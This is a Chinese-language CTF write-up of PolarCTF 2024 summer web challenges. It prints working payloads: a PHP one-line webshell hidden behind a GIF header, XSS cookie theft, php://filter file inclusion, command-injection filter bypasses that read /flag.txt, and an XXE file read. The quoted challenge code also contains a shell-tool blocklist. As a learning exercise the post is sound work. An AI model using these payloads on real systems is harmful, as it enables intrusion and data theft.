polarctf2024夏web部分

前言:比赛并没有参加,趁着复习期末写题目放松一会,学习学习知识。
更多文章请移步0raNe的笔记

Web

upload1

典型的一句话木马,按照流程来就行

直接上传一个图片,不能直接连接成功,试着传入htaccess限定只能上传图片那些,那估计就是改图片为php就行

然后蚁剑连一下就可以了

在这里插入图片描述在这里插入图片描述

疑惑:我尝试用jpg上传的时候改末尾并不能成功,看官p用的gif,

GIF89a
<script language='php'>eval($_POST['attack']);</script>

按道理也应该正常执行的,并不是很理解。

审计

no no no! <?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

if (isset($_GET['xxs'])) {
    $input = $_GET['xxs'];

    if (is_array($input)) {
        die("错误:输入类型不允许为数组。");
    }
    if (!preg_match("/^0e[0-9]+$/", md5($input))) {
        die("错误:输入的MD5值必须以'0e'开头,并跟随数字。");
    }
    if (!is_numeric($input)) {
        die("错误:输入必须是数字。");
    }

    die("恭喜:".$flag);
} else {
    die("错误:必须设置正确参数。");
}
?>
错误:必须设置正确参数。

先上源码,先审计一下代码,大体上应该就是关于md5的知识点

首先不能用数组绕过,然后要0e开头,最后md5加密后不能为数字,直接一把梭了,平时积累的md5加密等于自身就行
在这里插入图片描述

扫扫看

提醒我们扫一下,用dirsearch扫一下得到flag.php,进去看看

在这里插入图片描述

看一下源码,得到flag

在这里插入图片描述

debudao

内容,先看看源码,有个flag是假的(欸

尝试sql注入,好像也不是

尝试ssit注入,也不是

最后发现是xss漏洞,这方面我还没怎么学,等暑假好好补补吧

先用下面的来测试一下,发现有弹窗

在这里插入图片描述

<script>alert(1)</script>

然后跟着wp写的

<script>alert(document.cookie)</script>

在这里插入图片描述

爆出flag,用url解码就可以得到flag了

想法:按照这个方法的话其实好像可以直接用hackerbar看cookie那一栏,并不需要构造xss,重新开一次容器发现方法并不可行,哈哈我自己想多了

Dragon

按照正常思路来走一遍,和上面的差不多但是都没有回显,最后得出也是xss

<script>alert(1)</script>

也是用这个得到的但是不能正常弹窗,和官p学习了一下可以用img

<img src=0 onerror =alert(1)>

这样就可以正常的弹窗了,然后和上面的题目一样

<img src=0 onerror =alert(document.cookie)>

获取cookie值,url解码得到flag

感想:任何比赛都能让人找到自己的不足漏洞,之后一定要狠狠学学。

tnl

类型和前几题差不多,也试看看,尝试输入到3的时候会有报错,以为是sql注入,尝试万能语句并没有作用

也尝试了一下xss也没有回显

用bp抓包看看,尝试利用伪协议得到index.php

在这里插入图片描述

这是尝试过后发现源码应该后面本身就包含了.php,得到了源码,base64解密一下

</form>
<?php
error_reporting(0);
@$file = $_POST['twothree'];

if(isset($file))
{
	if( strpos( $file, "1" ) !==  false || strpos( $file, "2" ) !==  false || strpos( $file, "index")){
		include ($file . '.php');
	}
	else{
		echo "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'twothree'' at line 1";
	}
}
?>

看了源码可以得知这并不是sql注入,而是一个伪协议绕过的题目,输入1,2,index可以获得相应的内容

那么进行简单的构造,我也是第一次看到这种

twothree=php://filter/convert.base64-encode/index/resource=flag

在这里插入图片描述

最后base64解密就可以得到flag了

你知道sys还能这样玩吗

根据提示进入sys.php

<?php
show_source(__FILE__);

if(isset($_POST['cmd'])){
    echo "<pre>";
    $cmd = $_POST['cmd'];
    if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget/i', $cmd)) {
        $output = system($cmd);
        echo $output;
    }
    echo "</pre>";
}
?>

和国赛的那个有点类似

方法1:

尝试php -r来进行二次执行

cmd=php -r 'system(hex2bin("6c73202e2e2f"));'

查看

cmd=php -r 'system(hex2bin(ff3b636174202f666c61672e747874));'

ff是进行的一个绕过执行,否则得不到

方法2:

cmd=`printf "Y2F0IC8q"|bas""e64 -d`

这里看到一个师傅利用了printf和双引号绕过base64加密的方法得到了答案,也放在这,还是比较巧妙的

方法3:

上面几个都是借鉴的,还有一个办法就是八进制转化,之前写xyctf有一个和这样类似的,我就直接上payload了

cmd=$%27\143\141\164%27%3c$%27\57\146\154\141\147\56\164\170\164%27

详情可参考,文章,ezrce那个部分

ExX?

先搜看看flag{}有个假的flag,那再看看题目吧

尝试dirsearch扫描得到dom.php,出现了xml的报错很明显就是xxe的漏洞了,同天的lit比赛也是有一个题目是xxe

不知道原理直接上payload之后打算写一篇专题好好学习

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/flagggg.php" >]>
    <user>

<name>&xxe;</name>

</user>

最后base64解密就行

总结

剩下的题目都是考察java类的web题目,我还没学到也暂时没必要跟着复现了,总体来说题目也是较为友好的,自己还是要多复习多刷题,暂时就先到这了。

  • 47
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值